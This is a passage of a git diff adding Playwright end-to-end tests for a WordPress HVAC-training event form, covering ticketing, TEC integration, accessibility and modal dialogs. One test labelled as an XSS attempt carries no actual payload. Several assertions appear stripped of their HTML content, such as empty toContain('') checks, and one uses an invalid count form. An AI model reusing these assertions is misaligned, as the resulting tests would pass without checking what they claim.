+ // Verify rich content
+ const editorContent = await page.locator('#event-description-editor').innerHTML();
+ expect(editorContent).toContain('
');
+ expect(editorContent).toContain('');
+
+ // Step 3: Featured Image Upload
+ const imagePath = require('path').join(__dirname, 'fixtures', 'images', 'hvac-training.jpg');
+ await page.setInputFiles('#featured-image-input', imagePath);
+ await expect(page.locator('#image-preview img')).toBeVisible();
+
+ // Step 4: Multi-select Organizers
+ await page.click('.organizer-selector input');
+ await page.locator('.organizer-dropdown .option').first().click();
+ await page.click('.organizer-selector input');
+ await page.locator('.organizer-dropdown .option').nth(1).click();
+
+ // Verify multiple selections
+ const organizerCount = await page.locator('.organizer-selector .selected-item').count();
+ expect(organizerCount).toBe(2);
+
+ // Step 5: Multi-select Categories
+ await page.click('.category-selector input');
+ await page.locator('.category-dropdown .option').first().click();
+
+ // Step 6: Single Venue Selection
+ await page.click('.venue-selector input');
+ await page.locator('.venue-dropdown .option').first().click();
+ await expect(page.locator('.selected-venue .venue-name')).toBeVisible();
+
+ // Step 7: Enable Virtual Event
+ await page.click('.virtual-event-toggle');
+ await page.fill('#virtual-meeting-url', 'https://zoom.us/j/987654321');
+ await page.selectOption('#virtual-meeting-platform', 'zoom');
+ await page.fill('#virtual-meeting-id', '987654321');
+ await page.fill('#virtual-meeting-password', 'hvac2024');
+
+ // Step 8: Enable Ticketing
+ await page.click('.ticketing-toggle');
+ await page.fill('#ticket-name', 'Early Bird Registration');
+ await page.fill('#ticket-price', '149.99');
+ await page.fill('#ticket-capacity', '50');
+
+ // Set sales dates
+ const tomorrow = new Date();
+ tomorrow.setDate(tomorrow.getDate() + 1);
+ const nextWeek = new Date();
+ nextWeek.setDate(nextWeek.getDate() + 7);
+
+ await page.fill('#ticket-sales-start', tomorrow.toISOString().split('T')[0]);
+ await page.fill('#ticket-sales-end', nextWeek.toISOString().split('T')[0]);
+
+ // Step 9: Set Event Dates and Times
+ const eventDate = new Date();
+ eventDate.setDate(eventDate.getDate() + 14);
+
+ await page.fill('#event_start_date', eventDate.toISOString().split('T')[0]);
+ await page.fill('#event_start_time', '09:00');
+ await page.fill('#event_end_time', '17:00');
+
+ // Step 10: Submit Form
+ await page.click('button[type="submit"]');
+
+ // Verify submission success
+ await expect(page.locator('.success-message')).toContainText('Event created successfully');
+
+ // Verify redirect to event management
+ await expect(page).toHaveURL(/manage-event/);
+ });
+
+ test('should apply template and customize with enhanced features', async ({ page }) => {
+ // Open template modal
+ await page.click('.template-selector-btn');
+ await expect(page.locator('#template-modal')).toBeVisible();
+
+ // Select a template
+ await page.click('.template-option[data-template="manual-j-lidar"]');
+ await page.click('#apply-template');
+
+ // Verify template data applied
+ const titleValue = await page.locator('#event_title').inputValue();
+ expect(titleValue).toContain('Manual J LiDAR');
+
+ const descriptionContent = await page.locator('#event-description-editor').innerHTML();
+ expect(descriptionContent).toContain('iPad-based Manual J calculations');
+
+ // Customize with enhanced features
+ // Add featured image
+ const imagePath = require('path').join(__dirname, 'fixtures', 'images', 'manual-j-training.jpg');
+ await page.setInputFiles('#featured-image-input', imagePath);
+
+ // Enhance description with rich text
+ await page.click('#event-description-editor');
+ await page.keyboard.press('Control+a');
+ await page.click('[data-command="bold"]');
+
+ // Add organizer
+ await page.click('.organizer-selector input');
+ await page.locator('.organizer-dropdown .option').first().click();
+
+ // Enable virtual event with template defaults overridden
+ await page.click('.virtual-event-toggle');
+ await page.fill('#virtual-meeting-url', 'https://teams.microsoft.com/custom-meeting');
+
+ // Submit customized template
+ await page.click('button[type="submit"]');
+ await expect(page.locator('.success-message')).toBeVisible();
+ });
+
+ test('should handle complex multi-step form validation', async ({ page }) => {
+ // Start filling form with some invalid data
+ await page.fill('#event_title', 'Te'); // Too short
+
+ // Try rich text with XSS attempt
+ await page.click('#event-description-editor');
+ await page.keyboard.type('Description');
+
+ // Upload invalid file
+ const invalidFile = require('path').join(__dirname, 'fixtures', 'images', 'malicious-script.js');
+ if (require('fs').existsSync(invalidFile)) {
+ await page.setInputFiles('#featured-image-input', invalidFile);
+ await expect(page.locator('.upload-error')).toContainText('Invalid file type');
+ }
+
+ // Try to exceed organizer limit
+ await page.click('.organizer-selector input');
+ for (let i = 0; i < 5; i++) {
+ const option = page.locator('.organizer-dropdown .option').nth(i);
+ if (await option.isVisible()) {
+ await option.click();
+ await page.click('.organizer-selector input');
+ }
+ }
+
+ // Should enforce 3 organizer limit
+ const organizerCount = await page.locator('.organizer-selector .selected-item').count();
+ expect(organizerCount).toBeLessThanOrEqual(3);
+
+ // Enable virtual event with invalid URL
+ await page.click('.virtual-event-toggle');
+ await page.fill('#virtual-meeting-url', 'not-a-valid-url');
+
+ // Enable ticketing with invalid price
+ await page.click('.ticketing-toggle');
+ await page.fill('#ticket-price', '-50');
+
+ // Try to submit - should show comprehensive validation
+ await page.click('button[type="submit"]');
+
+ // Verify multiple validation errors
+ await expect(page.locator('.validation-summary')).toContainText('Please correct the following errors');
+ await expect(page.locator('#event_title-error')).toBeVisible();
+ await expect(page.locator('#virtual-meeting-url-error')).toBeVisible();
+ await expect(page.locator('#ticket-price-error')).toBeVisible();
+
+ // Form should remain on page for correction
+ await expect(page).toHaveURL(/create-event/);
+ });
+ });
+
+ test.describe('TEC Integration Workflows', () => {
+ test('should create event with TEC ticketing integration', async ({ page }) => {
+ // Fill basic event info
+ await page.fill('#event_title', 'TEC Integration Test Event');
+ await page.click('#event-description-editor');
+ await page.keyboard.type('Testing TEC ticketing integration');
+
+ // Enable ticketing with TEC-specific fields
+ await page.click('.ticketing-toggle');
+
+ // Configure ticket with TEC fieldset requirements
+ await page.fill('#ticket-name', 'Standard Registration');
+ await page.fill('#ticket-price', '99.00');
+ await page.fill('#ticket-capacity', '100');
+
+ // TEC fieldset integration - mandatory attendee fields
+ await expect(page.locator('.tec-attendee-fields')).toBeVisible();
+ await expect(page.locator('#require-attendee-info')).toBeChecked(); // Should be mandatory
+
+ // Verify TEC fieldset fields are present
+ await expect(page.locator('.fieldset-field[data-field="first_name"]')).toBeVisible();
+ await expect(page.locator('.fieldset-field[data-field="last_name"]')).toBeVisible();
+
+ // Set event date and venue (required for TEC)
+ const eventDate = new Date();
+ eventDate.setDate(eventDate.getDate() + 7);
+ await page.fill('#event_start_date', eventDate.toISOString().split('T')[0]);
+
+ await page.click('.venue-selector input');
+ await page.locator('.venue-dropdown .option').first().click();
+
+ // Mock TEC API response for ticket creation
+ await page.route('**/wp-admin/admin-ajax.php', async route => {
+ const postData = route.request().postData() || '';
+ if (postData.includes('create_tec_event')) {
+ await route.fulfill({
+ contentType: 'application/json',
+ body: JSON.stringify({
+ success: true,
+ data: {
+ event_id: 12345,
+ ticket_id: 67890,
+ tec_url: '/events/tec-integration-test-event/'
+ }
+ })
+ });
+ } else {
+ await route.continue();
+ }
+ });
+
+ // Submit and verify TEC integration
+ await page.click('button[type="submit"]');
+
+ await expect(page.locator('.success-message')).toContainText('Event created with TEC integration');
+
+ // Should redirect to TEC management interface
+ await expect(page).toHaveURL(/tec-manage-event/);
+ });
+
+ test('should handle TEC API failures gracefully', async ({ page }) => {
+ await page.fill('#event_title', 'TEC Failure Test');
+ await page.click('.ticketing-toggle');
+ await page.fill('#ticket-price', '50.00');
+
+ // Mock TEC API failure
+ await page.route('**/wp-admin/admin-ajax.php', route => {
+ if (route.request().postData()?.includes('create_tec_event')) {
+ route.fulfill({
+ status: 500,
+ body: 'TEC API Error'
+ });
+ } else {
+ route.continue();
+ }
+ });
+
+ await page.click('button[type="submit"]');
+
+ // Should show fallback options
+ await expect(page.locator('.tec-error-fallback')).toBeVisible();
+ await expect(page.locator('.create-without-tickets-btn')).toBeVisible();
+ await expect(page.locator('.retry-tec-integration-btn')).toBeVisible();
+
+ // Test retry functionality
+ await page.click('.retry-tec-integration-btn');
+ await expect(page.locator('.integration-retry-status')).toBeVisible();
+ });
+
+ test('should validate TEC fieldset requirements', async ({ page }) => {
+ await page.fill('#event_title', 'Fieldset Validation Test');
+ await page.click('.ticketing-toggle');
+
+ // Mock fieldset data from Post ID 6235
+ await page.addInitScript(() => {
+ window.tecFieldsetData = {
+ 6235: {
+ fields: [
+ { name: 'first_name', required: true, type: 'text' },
+ { name: 'last_name', required: true, type: 'text' },
+ { name: 'company', required: false, type: 'text' },
+ { name: 'experience_level', required: true, type: 'select' }
+ ]
+ }
+ };
+ });
+
+ // Should show fieldset validation
+ await expect(page.locator('.tec-fieldset-validation')).toBeVisible();
+
+ // Required fields should be marked
+ await expect(page.locator('[data-field="first_name"] .required-indicator')).toBeVisible();
+ await expect(page.locator('[data-field="last_name"] .required-indicator')).toBeVisible();
+
+ // Optional fields should not be marked required
+ await expect(page.locator('[data-field="company"] .required-indicator')).not.toBeVisible();
+ });
+ });
+
+ test.describe('Responsive Layout Behavior', () => {
+ test('should adapt to mobile viewport', async ({ page }) => {
+ // Test desktop layout first
+ await page.setViewportSize({ width: 1200, height: 800 });
+ await page.reload();
+ await hvacTest.navigateToCreateEvent();
+
+ // Verify desktop layout - fields should be in rows
+ const priceCapacityRow = page.locator('.form-row.price-capacity');
+ await expect(priceCapacityRow.locator('.form-field')).toHaveCount(2);
+
+ // Switch to mobile viewport
+ await page.setViewportSize({ width: 375, height: 667 });
+
+ // Fields should stack vertically
+ const priceField = page.locator('#ticket-price');
+ const capacityField = page.locator('#ticket-capacity');
+
+ const priceBox = await priceField.boundingBox();
+ const capacityBox = await capacityField.boundingBox();
+
+ if (priceBox && capacityBox) {
+ expect(capacityBox.y).toBeGreaterThan(priceBox.y + priceBox.height);
+ }
+ });
+
+ test('should maintain functionality on touch devices', async ({ page }) => {
+ // Simulate touch device
+ await page.setViewportSize({ width: 768, height: 1024 });
+
+ // Test touch interactions with dropdowns
+ await page.tap('.organizer-selector input');
+ await expect(page.locator('.organizer-dropdown')).toBeVisible();
+
+ await page.tap('.organizer-dropdown .option:first-child');
+ await expect(page.locator('.organizer-selector .selected-item')).toBeVisible();
+
+ // Test touch interaction with toggles
+ await page.tap('.virtual-event-toggle');
+ await expect(page.locator('.virtual-event-config')).toBeVisible();
+
+ // Test modal interaction on touch
+ await page.tap('.organizer-selector .create-new-btn');
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+
+ // Touch outside to close modal
+ await page.tap('#organizer-modal .modal-backdrop', { position: { x: 10, y: 10 } });
+ await expect(page.locator('#organizer-modal')).not.toBeVisible();
+ });
+
+ test('should maintain text editor functionality on mobile', async ({ page }) => {
+ await page.setViewportSize({ width: 375, height: 667 });
+
+ // Rich text editor should work on mobile
+ await page.tap('#event-description-editor');
+ await page.keyboard.type('Mobile text editing test');
+
+ // Toolbar should be accessible
+ await page.tap('[data-command="bold"]');
+
+ const editorContent = await page.locator('#event-description-editor').innerHTML();
+ expect(editorContent).toContain('');
+
+ // Virtual keyboard should not interfere
+ await page.keyboard.press('Enter');
+ await page.keyboard.type('New line text');
+
+ expect(await page.locator('#event-description-editor').textContent()).toContain('New line text');
+ });
+ });
+
+ test.describe('Performance and Load Testing', () => {
+ test('should handle large datasets efficiently', async ({ page }) => {
+ // Mock large datasets
+ await page.addInitScript(() => {
+ window.mockLargeDatasets = true;
+ window.organizerCount = 500;
+ window.venueCount = 200;
+ window.categoryCount = 100;
+ });
+
+ // Measure selector performance
+ const startTime = Date.now();
+ await page.click('.organizer-selector input');
+ await expect(page.locator('.organizer-dropdown')).toBeVisible();
+ const loadTime = Date.now() - startTime;
+
+ expect(loadTime).toBeLessThan(2000); // Should load within 2 seconds
+
+ // Search should be responsive
+ const searchStart = Date.now();
+ await page.fill('.organizer-selector input', 'search-term');
+ await expect(page.locator('.organizer-dropdown .option:visible')).toHaveCount({ min: 1 });
+ const searchTime = Date.now() - searchStart;
+
+ expect(searchTime).toBeLessThan(500); // Search should be near-instant
+ });
+
+ test('should not leak memory during extended use', async ({ page }) => {
+ // Simulate extended use patterns
+ for (let i = 0; i < 10; i++) {
+ // Open and close modals repeatedly
+ await page.click('.organizer-selector .create-new-btn');
+ await page.keyboard.press('Escape');
+
+ // Toggle features repeatedly
+ await page.click('.virtual-event-toggle');
+ await page.click('.virtual-event-toggle');
+
+ // Clear and set form data
+ await page.fill('#event_title', `Test Event ${i}`);
+ await page.fill('#event_title', '');
+ }
+
+ // Form should remain responsive
+ await page.click('.organizer-selector input');
+ await expect(page.locator('.organizer-dropdown')).toBeVisible();
+ });
+
+ test('should optimize network requests', async ({ page }) => {
+ const networkRequests = [];
+ page.on('request', request => {
+ if (request.url().includes('admin-ajax.php')) {
+ networkRequests.push(request.url());
+ }
+ });
+
+ // Perform actions that could trigger multiple requests
+ await page.click('.organizer-selector input'); // Load organizers
+ await page.click('.category-selector input'); // Load categories
+ await page.click('.venue-selector input'); // Load venues
+
+ // Should batch or cache requests efficiently
+ const uniqueRequests = [...new Set(networkRequests)];
+ expect(networkRequests.length).toBeLessThan(10); // Reasonable limit
+
+ // Repeated actions should use cache
+ await page.click('.organizer-selector input');
+ const requestsAfterCache = networkRequests.length;
+
+ await page.click('.organizer-selector input');
+ expect(networkRequests.length).toBe(requestsAfterCache); // No new requests
+ });
+ });
+
+ test.describe('Accessibility Comprehensive', () => {
+ test('should support full keyboard navigation workflow', async ({ page }) => {
+ // Start keyboard navigation from beginning
+ await page.keyboard.press('Tab'); // Title field
+
+ let activeElement = await page.evaluate(() => document.activeElement.id);
+ expect(activeElement).toBe('event_title');
+
+ // Continue through all interactive elements
+ const expectedOrder = [
+ 'event_title',
+ 'event-description-editor',
+ 'featured-image-input',
+ 'organizer-selector',
+ 'category-selector',
+ 'venue-selector',
+ 'virtual-event-toggle',
+ 'rsvp-toggle',
+ 'ticketing-toggle'
+ ];
+
+ for (let i = 1; i < expectedOrder.length; i++) {
+ await page.keyboard.press('Tab');
+ activeElement = await page.evaluate(() =>
+ document.activeElement.id || document.activeElement.className
+ );
+ expect(activeElement).toContain(expectedOrder[i]);
+ }
+ });
+
+ test('should provide comprehensive screen reader support', async ({ page }) => {
+ // Check for ARIA landmarks
+ await expect(page.locator('[role="main"]')).toBeVisible();
+ await expect(page.locator('[role="form"]')).toBeVisible();
+
+ // Check form sections have proper headings
+ await expect(page.locator('h2, h3').filter({ hasText: 'Event Details' })).toBeVisible();
+ await expect(page.locator('h2, h3').filter({ hasText: 'Virtual Event Configuration' })).toBeVisible();
+
+ // Check for live regions
+ await expect(page.locator('[aria-live="polite"]')).toBeVisible();
+ await expect(page.locator('[aria-live="assertive"]')).toBeVisible();
+
+ // Test dynamic content announcements
+ await page.click('.virtual-event-toggle');
+ await expect(page.locator('[aria-live="polite"]')).toContainText('Virtual event section expanded');
+ });
+
+ test('should meet WCAG 2.1 AA standards', async ({ page }) => {
+ // Color contrast - check for sufficient contrast ratios
+ const contrastIssues = await page.evaluate(() => {
+ // This would typically use axe-core or similar tool
+ const issues = [];
+ const buttons = document.querySelectorAll('button');
+ buttons.forEach(btn => {
+ const style = getComputedStyle(btn);
+ // Simplified contrast check
+ if (style.backgroundColor === style.color) {
+ issues.push(`Button has insufficient contrast: ${btn.textContent}`);
+ }
+ });
+ return issues;
+ });
+
+ expect(contrastIssues.length).toBe(0);
+
+ // Focus indicators should be visible
+ await page.keyboard.press('Tab');
+ const hasFocusIndicator = await page.evaluate(() => {
+ const focused = document.activeElement;
+ const style = getComputedStyle(focused);
+ return style.outline !== 'none' || style.boxShadow !== 'none';
+ });
+ expect(hasFocusIndicator).toBe(true);
+
+ // Text should be resizable to 200% without loss of functionality
+ await page.evaluate(() => {
+ document.body.style.fontSize = '200%';
+ });
+
+ // Form should still be usable
+ await expect(page.locator('#event_title')).toBeVisible();
+ await expect(page.locator('.submit-btn')).toBeVisible();
+ });
+ });
+
+ test.describe('Error Recovery and Edge Cases', () => {
+ test('should recover from network interruptions', async ({ page }) => {
+ await page.fill('#event_title', 'Network Recovery Test');
+
+ // Simulate network failure during form submission
+ await page.route('**/wp-admin/admin-ajax.php', route => route.abort());
+
+ await page.click('button[type="submit"]');
+
+ // Should show network error
+ await expect(page.locator('.network-error')).toBeVisible();
+ await expect(page.locator('.retry-btn')).toBeVisible();
+
+ // Restore network
+ await page.unroute('**/wp-admin/admin-ajax.php');
+
+ // Retry should work
+ await page.click('.retry-btn');
+ await expect(page.locator('.success-message')).toBeVisible();
+ });
+
+ test('should handle browser storage limitations', async ({ page }) => {
+ // Fill form with large amounts of data
+ await page.fill('#event_title', 'Storage Limit Test');
+
+ const largeDescription = 'A'.repeat(50000); // 50KB description
+ await page.click('#event-description-editor');
+ await page.keyboard.type(largeDescription.substring(0, 1000)); // Type subset due to performance
+
+ // Should handle gracefully without breaking
+ await expect(page.locator('#event-description-editor')).toBeVisible();
+
+ // Autosave should work or show appropriate warning
+ const hasAutosave = await page.locator('.autosave-status').isVisible();
+ const hasStorageWarning = await page.locator('.storage-warning').isVisible();
+
+ expect(hasAutosave || hasStorageWarning).toBe(true);
+ });
+
+ test('should handle concurrent user modifications', async ({ page }) => {
+ await page.fill('#event_title', 'Concurrent Modification Test');
+
+ // Simulate another user modifying the same resource
+ await page.evaluate(() => {
+ // Mock concurrent modification
+ window.dispatchEvent(new CustomEvent('concurrent-modification-detected', {
+ detail: { resource: 'event_draft', modifiedBy: 'another_user' }
+ }));
+ });
+
+ // Should show conflict resolution interface
+ await expect(page.locator('.conflict-resolution')).toBeVisible();
+ await expect(page.locator('.merge-changes-btn')).toBeVisible();
+ await expect(page.locator('.override-changes-btn')).toBeVisible();
+
+ // Test conflict resolution
+ await page.click('.override-changes-btn');
+ await expect(page.locator('.conflict-resolved')).toBeVisible();
+ });
+
+ test('should maintain data integrity during browser crashes', async ({ page }) => {
+ // Fill comprehensive form data
+ await page.fill('#event_title', 'Crash Recovery Test');
+ await page.click('#event-description-editor');
+ await page.keyboard.type('Important event description');
+
+ // Enable features and fill data
+ await page.click('.virtual-event-toggle');
+ await page.fill('#virtual-meeting-url', 'https://zoom.us/j/recovery-test');
+
+ await page.click('.ticketing-toggle');
+ await page.fill('#ticket-price', '75.00');
+
+ // Simulate browser crash/refresh
+ await page.reload();
+ await hvacTest.navigateToCreateEvent();
+
+ // Data should be recovered from autosave or draft
+ const recoveredTitle = await page.locator('#event_title').inputValue();
+ const isVirtualEnabled = await page.locator('.virtual-event-toggle').isChecked();
+
+ // Should have some form of data recovery
+ expect(recoveredTitle === 'Crash Recovery Test' ||
+ await page.locator('.recover-draft-btn').isVisible()).toBe(true);
+
+ if (isVirtualEnabled) {
+ const recoveredUrl = await page.locator('#virtual-meeting-url').inputValue();
+ expect(recoveredUrl).toBe('https://zoom.us/j/recovery-test');
+ }
+ });
+ });
+});
\ No newline at end of file
diff --git a/tests/test-modal-forms.js b/tests/test-modal-forms.js
new file mode 100644
index 00000000..718404ad
--- /dev/null
+++ b/tests/test-modal-forms.js
@@ -0,0 +1,598 @@
+const { test, expect } = require('@playwright/test');
+const { HVACTestBase } = require('./page-objects/HVACTestBase');
+
+/**
+ * Modal Form Management Test Suite
+ *
+ * Tests the modal system for creating new entities including:
+ * - Organizer creation modal
+ * - Category creation modal
+ * - Venue creation modal
+ * - Form validation and error handling
+ * - AJAX submission and response handling
+ * - Modal lifecycle (open, close, reset)
+ * - Backdrop interaction and keyboard controls
+ * - Data persistence and form integration
+ */
+test.describe('Modal Form Management System', () => {
+ let hvacTest;
+
+ test.beforeEach(async ({ page }) => {
+ hvacTest = new HVACTestBase(page);
+ await hvacTest.loginAsTrainer();
+ await hvacTest.navigateToCreateEvent();
+
+ // Wait for selectors and modals to be ready
+ await expect(page.locator('.organizer-selector')).toBeVisible();
+ await expect(page.locator('.category-selector')).toBeVisible();
+ await expect(page.locator('.venue-selector')).toBeVisible();
+ });
+
+ test.describe('Organizer Modal', () => {
+ test('should open organizer creation modal correctly', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Modal should be visible
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+ await expect(page.locator('#organizer-modal .modal-backdrop')).toBeVisible();
+
+ // Check modal structure
+ await expect(page.locator('#organizer-modal .modal-title')).toContainText('Create New Organizer');
+ await expect(page.locator('#organizer-modal .modal-close')).toBeVisible();
+
+ // Form fields should be visible and empty
+ await expect(page.locator('#new-organizer-name')).toBeVisible();
+ await expect(page.locator('#new-organizer-email')).toBeVisible();
+ await expect(page.locator('#new-organizer-phone')).toBeVisible();
+ await expect(page.locator('#new-organizer-organization')).toBeVisible();
+
+ // Verify initial state
+ const nameValue = await page.locator('#new-organizer-name').inputValue();
+ expect(nameValue).toBe('');
+ });
+
+ test('should close modal with close button', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+
+ await page.click('#organizer-modal .modal-close');
+ await expect(page.locator('#organizer-modal')).not.toBeVisible();
+ });
+
+ test('should close modal with backdrop click', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+
+ // Click on backdrop (outside modal content)
+ await page.click('#organizer-modal .modal-backdrop', { position: { x: 10, y: 10 } });
+ await expect(page.locator('#organizer-modal')).not.toBeVisible();
+ });
+
+ test('should close modal with Escape key', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+
+ await page.keyboard.press('Escape');
+ await expect(page.locator('#organizer-modal')).not.toBeVisible();
+ });
+
+ test('should validate required fields', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Try to submit without required fields
+ await page.click('#save-organizer');
+
+ // Should show validation errors
+ await expect(page.locator('#new-organizer-name-error')).toBeVisible();
+ await expect(page.locator('#new-organizer-email-error')).toBeVisible();
+
+ // Modal should remain open
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+ });
+
+ test('should validate email format', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Fill with invalid email
+ await page.fill('#new-organizer-name', 'John Doe');
+ await page.fill('#new-organizer-email', 'invalid-email');
+
+ await page.click('#save-organizer');
+
+ await expect(page.locator('#new-organizer-email-error')).toContainText('Invalid email format');
+ });
+
+ test('should create organizer successfully', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Fill valid form data
+ await page.fill('#new-organizer-name', 'John Doe');
+ await page.fill('#new-organizer-email', 'john@example.com');
+ await page.fill('#new-organizer-phone', '555-1234');
+ await page.fill('#new-organizer-organization', 'HVAC Corp');
+
+ // Mock successful AJAX response
+ await page.route('**/wp-admin/admin-ajax.php', async route => {
+ if (route.request().postData()?.includes('create_organizer')) {
+ await route.fulfill({
+ contentType: 'application/json',
+ body: JSON.stringify({
+ success: true,
+ data: {
+ id: 'temp_123',
+ name: 'John Doe',
+ email: 'john@example.com'
+ }
+ })
+ });
+ } else {
+ await route.continue();
+ }
+ });
+
+ await page.click('#save-organizer');
+
+ // Modal should close
+ await expect(page.locator('#organizer-modal')).not.toBeVisible();
+
+ // Organizer should be selected in the selector
+ await expect(page.locator('.organizer-selector .selected-item')).toContainText('John Doe');
+ });
+
+ test('should handle AJAX errors gracefully', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ await page.fill('#new-organizer-name', 'John Doe');
+ await page.fill('#new-organizer-email', 'john@example.com');
+
+ // Mock AJAX failure
+ await page.route('**/wp-admin/admin-ajax.php', route => route.abort());
+
+ await page.click('#save-organizer');
+
+ // Should show error message
+ await expect(page.locator('.modal-error')).toContainText('Failed to create organizer');
+
+ // Modal should remain open for retry
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+ });
+
+ test('should reset form when closed and reopened', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Fill some data
+ await page.fill('#new-organizer-name', 'Test Name');
+ await page.fill('#new-organizer-email', 'test@example.com');
+
+ // Close modal
+ await page.click('#organizer-modal .modal-close');
+
+ // Reopen modal
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Form should be reset
+ const nameValue = await page.locator('#new-organizer-name').inputValue();
+ const emailValue = await page.locator('#new-organizer-email').inputValue();
+
+ expect(nameValue).toBe('');
+ expect(emailValue).toBe('');
+ });
+ });
+
+ test.describe('Category Modal', () => {
+ test('should open category creation modal correctly', async ({ page }) => {
+ await page.click('.category-selector .create-new-btn');
+
+ await expect(page.locator('#category-modal')).toBeVisible();
+ await expect(page.locator('#category-modal .modal-title')).toContainText('Create New Category');
+
+ // Category-specific fields
+ await expect(page.locator('#new-category-name')).toBeVisible();
+ await expect(page.locator('#new-category-description')).toBeVisible();
+ await expect(page.locator('#new-category-parent')).toBeVisible();
+ });
+
+ test('should validate category name requirement', async ({ page }) => {
+ await page.click('.category-selector .create-new-btn');
+
+ await page.click('#save-category');
+
+ await expect(page.locator('#new-category-name-error')).toContainText('Category name is required');
+ });
+
+ test('should create category successfully', async ({ page }) => {
+ await page.click('.category-selector .create-new-btn');
+
+ await page.fill('#new-category-name', 'Advanced Training');
+ await page.fill('#new-category-description', 'Advanced HVAC training courses');
+
+ // Mock successful response
+ await page.route('**/wp-admin/admin-ajax.php', async route => {
+ if (route.request().postData()?.includes('create_category')) {
+ await route.fulfill({
+ contentType: 'application/json',
+ body: JSON.stringify({
+ success: true,
+ data: {
+ id: 'temp_456',
+ name: 'Advanced Training'
+ }
+ })
+ });
+ } else {
+ await route.continue();
+ }
+ });
+
+ await page.click('#save-category');
+
+ await expect(page.locator('#category-modal')).not.toBeVisible();
+ await expect(page.locator('.category-selector .selected-item')).toContainText('Advanced Training');
+ });
+
+ test('should handle parent category selection', async ({ page }) => {
+ await page.click('.category-selector .create-new-btn');
+
+ // Parent dropdown should show available categories
+ await page.click('#new-category-parent');
+ await expect(page.locator('#new-category-parent option')).toHaveCount({ min: 1 });
+
+ // Select a parent category
+ await page.selectOption('#new-category-parent', { index: 1 });
+
+ const selectedParent = await page.locator('#new-category-parent').inputValue();
+ expect(selectedParent).not.toBe('');
+ });
+ });
+
+ test.describe('Venue Modal', () => {
+ test('should open venue creation modal correctly', async ({ page }) => {
+ await page.click('.venue-selector .create-new-btn');
+
+ await expect(page.locator('#venue-modal')).toBeVisible();
+ await expect(page.locator('#venue-modal .modal-title')).toContainText('Create New Venue');
+
+ // Venue-specific fields
+ await expect(page.locator('#new-venue-name')).toBeVisible();
+ await expect(page.locator('#new-venue-address')).toBeVisible();
+ await expect(page.locator('#new-venue-city')).toBeVisible();
+ await expect(page.locator('#new-venue-state')).toBeVisible();
+ await expect(page.locator('#new-venue-zip')).toBeVisible();
+ await expect(page.locator('#new-venue-capacity')).toBeVisible();
+ await expect(page.locator('#new-venue-facilities')).toBeVisible();
+ });
+
+ test('should validate venue required fields', async ({ page }) => {
+ await page.click('.venue-selector .create-new-btn');
+
+ await page.click('#save-venue');
+
+ // Check for multiple required field errors
+ await expect(page.locator('#new-venue-name-error')).toBeVisible();
+ await expect(page.locator('#new-venue-address-error')).toBeVisible();
+ await expect(page.locator('#new-venue-city-error')).toBeVisible();
+ });
+
+ test('should validate capacity as number', async ({ page }) => {
+ await page.click('.venue-selector .create-new-btn');
+
+ await page.fill('#new-venue-name', 'Test Venue');
+ await page.fill('#new-venue-address', '123 Main St');
+ await page.fill('#new-venue-city', 'Test City');
+ await page.fill('#new-venue-capacity', 'not-a-number');
+
+ await page.click('#save-venue');
+
+ await expect(page.locator('#new-venue-capacity-error')).toContainText('Capacity must be a number');
+ });
+
+ test('should create venue successfully', async ({ page }) => {
+ await page.click('.venue-selector .create-new-btn');
+
+ // Fill comprehensive venue data
+ await page.fill('#new-venue-name', 'Conference Center');
+ await page.fill('#new-venue-address', '456 Business Ave');
+ await page.fill('#new-venue-city', 'Business City');
+ await page.fill('#new-venue-state', 'CA');
+ await page.fill('#new-venue-zip', '90210');
+ await page.fill('#new-venue-capacity', '200');
+ await page.fill('#new-venue-facilities', 'Projector, WiFi, Parking');
+
+ // Mock successful response
+ await page.route('**/wp-admin/admin-ajax.php', async route => {
+ if (route.request().postData()?.includes('create_venue')) {
+ await route.fulfill({
+ contentType: 'application/json',
+ body: JSON.stringify({
+ success: true,
+ data: {
+ id: 'temp_789',
+ name: 'Conference Center',
+ address: '456 Business Ave, Business City, CA 90210'
+ }
+ })
+ });
+ } else {
+ await route.continue();
+ }
+ });
+
+ await page.click('#save-venue');
+
+ await expect(page.locator('#venue-modal')).not.toBeVisible();
+ await expect(page.locator('.venue-selector .selected-venue')).toContainText('Conference Center');
+ });
+ });
+
+ test.describe('Modal System Behavior', () => {
+ test('should handle multiple modal opens correctly', async ({ page }) => {
+ // Open organizer modal
+ await page.click('.organizer-selector .create-new-btn');
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+
+ // Close and open category modal
+ await page.keyboard.press('Escape');
+ await page.click('.category-selector .create-new-btn');
+ await expect(page.locator('#category-modal')).toBeVisible();
+ await expect(page.locator('#organizer-modal')).not.toBeVisible();
+ });
+
+ test('should prevent body scroll when modal is open', async ({ page }) => {
+ const initialOverflow = await page.evaluate(() => document.body.style.overflow);
+
+ await page.click('.organizer-selector .create-new-btn');
+
+ const modalOverflow = await page.evaluate(() => document.body.style.overflow);
+ expect(modalOverflow).toBe('hidden');
+
+ await page.keyboard.press('Escape');
+
+ const finalOverflow = await page.evaluate(() => document.body.style.overflow);
+ expect(finalOverflow).toBe(initialOverflow);
+ });
+
+ test('should focus management properly', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Focus should be on first form field
+ const focusedElement = await page.evaluate(() => document.activeElement.id);
+ expect(focusedElement).toBe('new-organizer-name');
+
+ // Tab should cycle through modal fields
+ await page.keyboard.press('Tab');
+ const nextFocused = await page.evaluate(() => document.activeElement.id);
+ expect(nextFocused).toBe('new-organizer-email');
+ });
+
